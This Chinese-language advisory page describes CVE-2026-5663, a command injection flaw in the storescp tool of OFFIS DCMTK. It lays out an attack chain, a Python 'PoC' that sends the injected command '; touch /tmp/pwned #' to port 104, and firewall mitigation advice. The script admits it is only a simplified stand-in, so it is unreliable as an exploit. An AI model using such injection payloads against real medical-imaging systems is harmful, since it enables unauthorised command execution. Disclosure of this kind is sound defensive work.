IPBUF安全漏洞报告
English
CVE-2026-5663 CVSS 7.3 高危

CVE-2026-5663 OFFIS DCMTK远程命令注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5663
漏洞类型
操作系统命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OFFIS DCMTK

相关标签

RCE命令注入DCMTKCVE-2026-5663医疗设备安全

漏洞概述

OFFIS DCMTK 3.7.0及以下版本中的storescp组件存在严重的远程命令注入漏洞。该漏洞源于`dcmnet/apps/storescp.cc`文件中的`executeOnReception`和`executeOnEndOfStudy`函数未能正确处理外部输入。攻击者无需身份认证即可通过网络发送特制数据包,操纵受影响的应用程序在底层操作系统上执行任意命令。此漏洞可能导致系统被完全控制,建议管理员立即检查并更新相关软件版本。

技术细节

该漏洞位于OFFIS DCMTK软件的storescp工具中,具体涉及源文件`dcmnet/apps/storescp.cc`内的`executeOnReception`和`executeOnEndOfStudy`函数。这些函数设计用于在接收到特定DICOM数据或完成研究后执行外部系统命令。由于代码实现中缺乏对输入参数的严格校验和清洗,导致攻击者可以注入恶意的Shell命令。攻击者利用网络向量(AV:N)进行远程攻击,无需用户交互(UI:N)和特权(PR:N)。当storescp处理特制的恶意数据流时,攻击者注入的命令将被系统调用执行,从而获取服务器权限,影响机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者扫描网络端口,识别运行OFFIS DCMTK storescp服务且版本低于或等于3.7.0的目标主机。
STEP 2
武器化
攻击者构造特制的DICOM数据包或参数,其中包含旨在注入操作系统的恶意Shell命令(如反弹Shell或写入文件)。
STEP 3
投递
攻击者通过网络向目标storescp服务的监听端口发送包含恶意载荷的数据包。
STEP 4
利用
目标服务解析数据包并调用`executeOnReception`或`executeOnEndOfStudy`函数。由于缺乏过滤,恶意命令被传递给系统Shell执行。
STEP 5
达成目标
恶意命令在目标服务器上以运行storescp服务的用户权限执行,导致数据泄露、篡改或服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import sys # Proof of Concept for CVE-2026-5663 # This script demonstrates the remote command injection vulnerability in OFFIS DCMTK storescp. # The vulnerability exists in the 'executeOnReception' and 'executeOnEndOfStudy' functions. TARGET_IP = "192.168.1.100" TARGET_PORT = 104 # Default DICOM port for storescp # Malicious payload to inject a command. # In a real scenario, this payload would be embedded within the DICOM data stream # or specific parameter that triggers the vulnerable function. # Example: Injecting 'touch /tmp/pwned' to prove execution. PAYLOAD = b"; touch /tmp/pwned #" def send_exploit(): print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT}...") try: # Establish a TCP connection to the target storescp service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # Send the payload. # Note: Actual exploitation requires constructing a valid DICOM association # and C-STORE-RQ with the payload placed in the field used by the executeOn functions. # This is a simplified representation. s.send(PAYLOAD) print("[+] Payload sent successfully.") print("[*] Check if the command was executed on the target.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

影响范围

OFFIS DCMTK <= 3.7.0

防御指南

临时缓解措施
在未完成补丁升级前,建议通过防火墙限制对storescp服务端口的访问,仅允许内部受信任的通信。同时,应监控系统的异常进程执行和文件变动,以检测可能的利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表